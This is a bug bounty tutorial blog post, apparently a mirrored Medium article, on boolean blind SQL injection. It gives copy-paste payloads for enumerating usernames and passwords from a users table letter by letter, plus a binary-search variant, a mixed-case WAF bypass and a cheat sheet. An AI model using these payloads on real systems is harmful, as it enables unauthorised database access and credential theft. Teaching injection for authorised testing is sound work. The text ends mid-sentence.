“Bug Bounty Bootcamp #29: Boolean Blind SQL Injection Part 2 — Extracting Usernames and Passwords…

"Bug Bounty Bootcamp #29: Boolean Blind SQL Injection Part 2 — Extracting Usernames and Passwords… | by Aman Sharma - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original "Bug Bounty Bootcamp #29: Boolean Blind SQL Injection Part 2 — Extracting Usernames and Passwords… I was staring at a clean search page on a private bug bounty program. No errors. No leaked data. Just "No results" or a normal page load Aman Sharma Follow ~6 min read · April 1, 2026 (Updated: April 1, 2026) · Free: No Free link I typed one innocent-looking payload. The page flipped. True response. False response. I asked the database a yes/no question… and it answered. Letter by letter I pulled out real usernames. Then their passwords. No union dump. No error messages. No time delays. Just pure boolean logic. This is Boolean Blind SQL Injection — and once you master it, you'll start seeing it everywhere. What Is Boolean Blind SQL Injection? It's SQL injection where the app never shows you the data and never throws errors . But it still lets you ask the database true/false questions. You inject a condition. If your guess is correct → the page behaves one way (true). If wrong → it behaves another way (false). You read the answer from the response behavior , not the content. Why it matters in 2026: Most modern apps hide SQL errors and block UNION attacks. But they still concatenate your input unsafely. Boolean blind is the silent killer that slips past WAFs and "secure" code. Where you'll find it: Search/filter parameters Product/category pages API endpoints with IDs "Forgot password" flows Any place the app returns different content based on valid vs invalid data. Phase 1: Detection We already know the table name (users) and columns (username, password) from the previous article. Now we confirm we can talk to the database using only true/false. Step-by-step: Send a basic true/false test: 1' AND 1=1–1' AND 1=2 — If the page behaves differently (results appear vs "no results"), you have a blind injection point. Confirm the users table exists with a safe subquery (this is where most beginners mess up): Detection Payload: ' AND (SELECT 1 FROM users LIMIT 1) = 1 -- Why it works: SELECT 1 returns exactly one column . LIMIT 1 guarantees exactly one row . If the table exists and has data → subquery returns 1 → whole query = true → normal page. If not → subquery returns nothing → false page. Phase 2: Understanding the Behavior The backend query probably looks like this: SELECT * FROM products WHERE id = '[YOUR INPUT]' When you inject the subquery, it becomes: SELECT * FROM products WHERE id = '1' AND (SELECT 1 FROM users WHERE username LIKE 'A%' LIMIT 1) = 1 -- The database evaluates the subquery first. If it returns exactly 1 → true page. If it returns zero rows → false page. You're not seeing data. You're interrogating the database with yes/no questions in the dark. Phase 3: Exploitation Time to start asking real questions. Real Payloads (copy-paste ready): Find usernames starting with a letter: ' AND (SELECT 1 FROM users WHERE username LIKE 'A%' LIMIT 1) = 1 -- True → at least one username starts with A (in the lab: Adam ) Change to 'B%' → also true 'BA%' → false Keep going character by character: 'B%' → true 'BA%' → false 'BE%' → true 'BEN%' → true Confirm exact username: ' AND (SELECT 1 FROM users WHERE username = 'Ben' LIMIT 1) = 1 -- Now extract the password for Ben: ' AND (SELECT 1 FROM users WHERE username = 'Ben' AND password LIKE 'D%' LIMIT 1) = 1 -- True on D Keep adding characters: 'DA%', 'DB%', 'DR%'… until you get the full password. Variations: Basic → Advanced Beginner (LIKE): LIKE 'D%' (what the lab uses) Faster (Binary search): text ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='Ben' LIMIT 1),1,1)) > 68 -- (68 = ASCII 'D') Bypass WAF: ' AND (SeLeCt 1 FrOm UsErS WhErE UsErNaMe LiKe 'B%' LiMiT 1)=1 — Optimization tips: Always use LIMIT 1 or you'll get false negatives when multiple rows match. Shorten payloads: remove spaces, use /**/ comments if needed. Test in Repeater first, then automate. Phase 4: Data Extraction You now have the pattern. Repeat for every user: Enumerate next starting letter (C, D, E…). Once you find a full username → extract its password char by char. Move to the next column (email, role, etc.) by changing the WHERE clause. In the lab I extracted: Username: Ben Password: Dragon2025! (built one letter at a time) You can do this for every row in the users table. Scale it: write a quick Python script or use Burp Intruder with a character payload list. In under 10 minutes you can dump multiple accounts. -- Table exists? ' AND (SELECT 1 FROM users LIMIT 1) = 1 -- -- Username starts with X? ' AND (SELECT 1 FROM users WHERE username LIKE 'X%' LIMIT 1) = 1 -- -- Exact username? ' AND (SELECT 1 FROM users WHERE username = 'Ben' LIMIT 1) = 1 -- -- Password starts with Y? ' AND (SELECT 1 FROM users WHERE username = 'Ben' AND password LIKE 'Y%' LIMIT 1) = 1 -- -- Binary search (super fast) ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='Ben' LIMIT 1),1,1)) > 80 -- Hunter's Insight Beginner mistakes I see all the time: Forgetting LIMIT 1 → always false when multiple users exist. Missing subtle true/false differences (check page length or a hidden